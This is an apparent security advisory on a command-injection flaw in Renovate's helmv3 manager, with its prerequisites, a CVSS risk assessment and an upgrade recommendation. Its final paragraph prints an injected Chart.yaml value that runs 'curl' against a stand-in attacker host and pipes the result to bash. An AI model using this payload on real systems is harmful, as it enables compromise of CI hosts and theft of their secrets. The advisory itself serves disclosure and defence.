Renovate EUVD-2026-62473

Exploitation requires three concurrent conditions: (1) the attacker holds write access to a git repository actively monitored by a vulnerable Renovate instance (versions 31.51.0 to 40.32.x); (2) the helmv3 manager is enabled, which occurs automatically when Renovate detects a Chart.yaml with OCI (oci://) or HTTPS repository dependencies; and (3) Renovate's hostRules configuration includes credentials matching the targeted registry host, because the helm registry login command - and thus the injection point - is only invoked when credentials are configured for that host. Without matching hostRules, the login command may not be triggered. The simpler PoC attack path using overrideDatasource to force version detection without consulting the real registry is only available in Renovate versions 38.120.0 and later. Exploitation does not require interactive or physical access to the Renovate host; it is bounded by the OS-level permissions of the Renovate process user.

The CVSS 4.0 base score of 8.4 with vector AV:L/AC:L/AT:N/PR:H/UI:N reflects that exploitation requires the attacker to hold write access to the repository being processed - a meaningful prerequisite that narrows the attack surface compared to a network-exploitable, unauthenticated flaw. No EPSS score was included in the intelligence package, and the absence of a CISA KEV listing means active widespread exploitation is not confirmed; risk must be assessed from the confirmed POC and the deployment context of Renovate in CI/CD pipelines. The high C:H/I:H/A:H impact metrics are credible: arbitrary command execution on the Renovate host, which typically holds CI tokens, cloud credentials, and package registry secrets, effectively constitutes full host compromise with a realistic path to lateral movement - an impact not fully captured by the SC:N/SI:N/SA:N scope metrics in the base vector. The PR:H prerequisite is a real limiting factor for public repositories with strict branch protections, but organizations running Renovate in open-source or multi-contributor project contexts, or where branch protection is weak, face substantially higher practical risk. The confirmed, detailed POC lowers the bar for exploitation meaningfully beyond what the base score alone suggests, and any team running an affected version of Renovate against repositories with external contributors should treat this as an urgent upgrade rather than routine maintenance.

An attacker with write access to a git repository monitored by Renovate commits a Chart.yaml with a malicious repository field such as oci://charts.bitnami.com/bitnami || curl https://attacker.com/shell.sh | bash, paired with a renovate.json5 that configures matching hostRules credentials for that registry host. When Renovate's helmv3 manager processes the chart's dependencies, it constructs and executes helm registry login ... oci://charts.bitnami.com/bitnami || curl https://attacker.com/shell.sh | bash, causing the shell to evaluate the || operator and execute the attacker's second command as the Renovate process user. A working POC using kill 1 to terminate the Renovate container root process is fully documented in GHSA-3f44-xw83-3pmg.